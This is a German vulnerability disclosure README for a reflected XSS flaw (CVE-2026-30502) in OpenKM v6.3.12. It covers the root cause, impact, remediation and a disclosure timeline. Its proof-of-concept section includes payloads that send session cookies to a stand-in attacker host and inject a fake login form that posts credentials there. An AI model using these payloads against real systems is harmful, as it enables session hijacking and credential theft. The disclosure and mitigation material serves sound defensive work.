
Dokumentation und Proof-of-Concept für CVE-2026-30502, eine reflektierte XSS-Sicherheitslücke in OpenKM v6.3.12. Enthält technische Analyse, Grundursache, Auswirkungsbewertung und Anleitungen zur Behebung für Sicherheitsforscher und Penetrationstester.
Entdeckt und gemeldet von Dharmendra Kumar — Sicherheitsforscher
Cybersicherheit | Penetrationstests | Schwachstellenforschung | Verantwortungsvolle Offenlegung
Dieses Repository dokumentiert die verantwortungsvolle Offenlegung von CVE-2026-30502, einer Reflected Cross-Site Scripting (XSS)-Schwachstelle, die in OpenKM v6.3.12 identifiziert wurde – einem weit verbreiteten Open-Source-Dokumentenmanagementsystem, das in Unternehmens- und Regierungsumgebungen eingesetzt wird.
Die Schwachstelle besteht im Parameter Content, der vom Benutzer bereitgestellte Eingaben ohne ordnungsgemäße Bereinigung oder Ausgabekodierung an den Browser zurückspiegelt. Ein Angreifer kann eine bösartige URL mit eingebettetem JavaScript erstellen und ein Opfer durch Social Engineering dazu bringen, darauf zu klicken, was zur Ausführung des Skripts in der Browsersitzung des Opfers führt.
⚠️ Schweregrad: Mittel–Hoch | Angriffsvektor: Netzwerk | Erforderliche Berechtigungen: Keine | Benutzerinteraktion: Erforderlich
OpenKM ist ein freies und quelloffenes Dokumentenmanagementsystem (DMS), das eine Weboberfläche für die Verwaltung, Prüfung und Verteilung von Geschäftsdokumenten bietet. Es wird weltweit von Unternehmen, Regierungsbehörden und Bildungseinrichtungen eingesetzt.
v6.3.12Eine Reflected Cross-Site Scripting (XSS)-Schwachstelle wurde in OpenKM v6.3.12 über den Parameter Content identifiziert. Die Anwendung validiert oder kodiert keine vom Benutzer bereitgestellten Eingaben, bevor sie im HTTP-Antwortkörper zurückgespiegelt werden, sodass beliebiges JavaScript eingeschleust und im Browser des Opfers ausgeführt werden kann.
Im Gegensatz zu Stored XSS wird ein Reflected-XSS-Payload nicht in der Datenbank gespeichert – er befindet sich stattdessen in einer manipulierten URL. Der Angriff beruht darauf, dass das Opfer dazu verleitet wird, auf einen bösartigen Link zu klicken (per E-Mail, Social Media oder Phishing-Kampagnen zugestellt). Anschließend wird der Payload still im Browser mit dem Sitzungskontext des Opfers ausgeführt.
Angreifer erstellt bösartige URL
│
▼
Opfer klickt auf den Link (Phishing / Social Engineering)
│
▼
Browser sendet GET/POST-Anfrage mit Payload im Parameter `Content`
│
▼
OpenKM spiegelt die unsaubere Eingabe direkt in die HTML-Antwort zurück
│
▼
Browser parst und führt das injizierte JavaScript aus
│
▼
Sitzung gekapert / Anmeldedaten gestohlen / Konto kompromittiert
Die Schwachstelle resultiert aus dem Versagen der Anwendung, Eingabe-/Ausgabe-Sicherheitskontrollen für den Parameter Content durchzusetzen:
Benutzererstellte URL ──► Content-Parameter ──► [KEINE Validierung]
──► In HTML-Antwort zurückgespiegelt ──► [KEINE Kodierung]
──► Browser führt Skript aus ──► Konto kompromittiert
Eine erfolgreiche Ausnutzung dieser Schwachstelle kann zu Folgendem führen:
⚠️ Haftungsausschluss: Die folgenden Informationen werden ausschließlich zu Bildungs- und Sicherheitsforschungszwecken im Rahmen der Grundsätze verantwortungsvoller Offenlegung geteilt. Testen oder verwenden Sie dies nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zur Bewertung haben.
// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Credential phishing overlay
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Username"/>'
+'<input name="p" type="password" placeholder="Password"/>'
+'<button>Sign In</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[verwundbarer-Endpunkt]?Content=<script>alert(1)</script>
Content zurückspiegeltContent angehängten XSS-PayloadWährend dieses Prozesses wurden die Grundsätze der vollständigen verantwortungsvollen Offenlegung befolgt, einschließlich der Koordination mit dem Hersteller und der Beteiligung des CVE-Programms vor jeder öffentlichen Veröffentlichung.
Sicherheitsforscher | Penetrationstester | Bug Hunter | CVE-Mitarbeiter
Dharmendra Kumar ist ein unabhängiger Cybersicherheitsforscher, der sich auf Websicherheit, Penetrationstests und verantwortungsvolle Schwachstellenoffenlegung spezialisiert hat. Seine Forschung konzentriert sich auf die Identifizierung und verantwortungsvolle Meldung realer Sicherheitslücken in weit verbreiteter Software – und trägt so zu sichereren Anwendungen für Benutzer weltweit bei.
Fachgebiete:
Vernetzen Sie sich mit mir:
Dieses Repository ist ausschließlich für Bildungs- und Informationszwecke bestimmt. Die Schwachstellendetails und Proof-of-Concept-Payloads werden gemäß den Grundsätzen der verantwortungsvollen Offenlegung veröffentlicht. Der Autor befürwortet keine unbefugte Nutzung dieser Informationen und übernimmt keine Verantwortung dafür. Holen Sie vor der Durchführung von Sicherheitstests an einem System, das Ihnen nicht gehört, immer die ausdrückliche schriftliche Genehmigung ein.
Besonderer Dank gilt:
⭐ Wenn Ihnen diese Forschung geholfen hat, erwägen Sie bitte, dieses Repository zu markieren.
Sicherheitsforschung offen geteilt, um das Web für alle sicherer zu machen.
© 2026 Dharmendra Kumar — Alle Rechte vorbehalten
| Feld | Einzelheiten |
|---|
| CVE-ID | CVE-2026-30502 |
| Produkt | OpenKM |
| Betroffene Version | v6.3.12 |
| Schwachstellenklasse | Reflektiertes Cross-Site Scripting (XSS) |
| Angreifbarer Parameter | Content |
| CWE | CWE-79: Unzureichende Neutralisierung von Eingaben während der Generierung von Webseiten |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| Schweregrad | Mittel–Hoch |
| Herausgeber | MITRE CVE-Programm |
| Forscher | Dharmendra Kumar |
| Art der Offenlegung | Verantwortungsvoll / Koordiniert |
| Schwäche | Beschreibung |
|---|
| ❌ Keine Eingabevalidierung | Der Parameter Content akzeptiert rohe HTML/JavaScript-Zeichen ohne Einschränkung oder Filterung |
| ❌ Keine Ausgabekodierung | Zurückgespiegelte Werte werden ohne HTML-Entity-Kodierung in die HTML-Antwort geschrieben |
| ❌ Fehlender CSP-Header | Es ist keine Content Security Policy erzwungen, um die Ausführung von Inline-Skripten zu blockieren |
| ❌ Keine HTTPOnly-Cookies | Sitzungstoken sind über JavaScript zugänglich, was direkten Cookie-Diebstahl ermöglicht |
| Risiko | Beschreibung |
|---|
| 🍪 Sitzungsdiebstahl | Stehlen aktiver Sitzungstoken über document.cookie, um das Opfer zu impersonieren |
| 🔑 Anmeldedaten-Diebstahl | Einblenden gefälschter Login-Overlays zum Erfassen von Klartext-Benutzernamen und -Passwörtern |
| 📤 Informationsoffenlegung | Exfiltrieren sensibler Dokumentinhalte, Benutzerdaten oder interner Konfigurationen |
| 🎣 Phishing-Angriffe | Darstellen überzeugender gefälschter Seiten, die innerhalb der vertrauenswürdigen OpenKM-Domain gehostet werden |
| 👤 Kontoübernahme | Ausführen beliebiger authentifizierter Aktionen im Namen des Opfers |
| ⚙️ Unbefugte Aktionen | Ändern, Löschen oder Exfiltrieren von Dokumenten im DMS |
| 🖥️ Malware-Verbreitung | Umleiten von Opfern auf Angreifer-kontrollierte Websites mit bösartigen Downloads |
| Empfehlung | Umsetzung |
|---|
| ✅ Eingabevalidierung | HTML-Sonderzeichen (<, >, ", ', ;) in allen benutzergesteuerten Parametern ablehnen oder entfernen |
| ✅ Ausgabekodierung | Kontextbewusste HTML-Kodierung mit Bibliotheken wie OWASP Java Encoder anwenden, bevor zurückgespiegelte Daten gerendert werden |
| ✅ Content Security Policy | Einen strengen CSP-Header bereitstellen: Content-Security-Policy: default-src 'self'; script-src 'self' |
| ✅ HTTPOnly-Cookies | Setzen Sie die Flags HttpOnly und Secure auf allen Sitzungs-Cookies, um JavaScript-Zugriff zu blockieren |
| ✅ Sicherheitsbibliotheken | Integrieren Sie OWASP AntiSamy oder DOMPurify für eine robuste Bereinigung |
| ✅ Upgrade | Wenden Sie umgehend den neuesten vom Hersteller veröffentlichten Sicherheitspatch an |
| Datum | Ereignis |
|---|
| 🔍 Entdeckung | Schwachstelle während der Sicherheitsbewertung von OpenKM v6.3.12 identifiziert |
| 📧 Benachrichtigung des Herstellers | Verantwortungsvoller Offenlegungsbericht an das OpenKM-Sicherheitsteam übermittelt |
| 🤝 Bestätigung des Herstellers | Das OpenKM-Team hat den Schwachstellenbericht bestätigt |
| 📝 CVE-Zuweisung | CVE-2026-30502 durch das MITRE CVE-Programm zugewiesen |
| 🌐 Öffentliche Offenlegung | Koordinierte öffentliche Offenlegung nach dem Behebungszeitraum |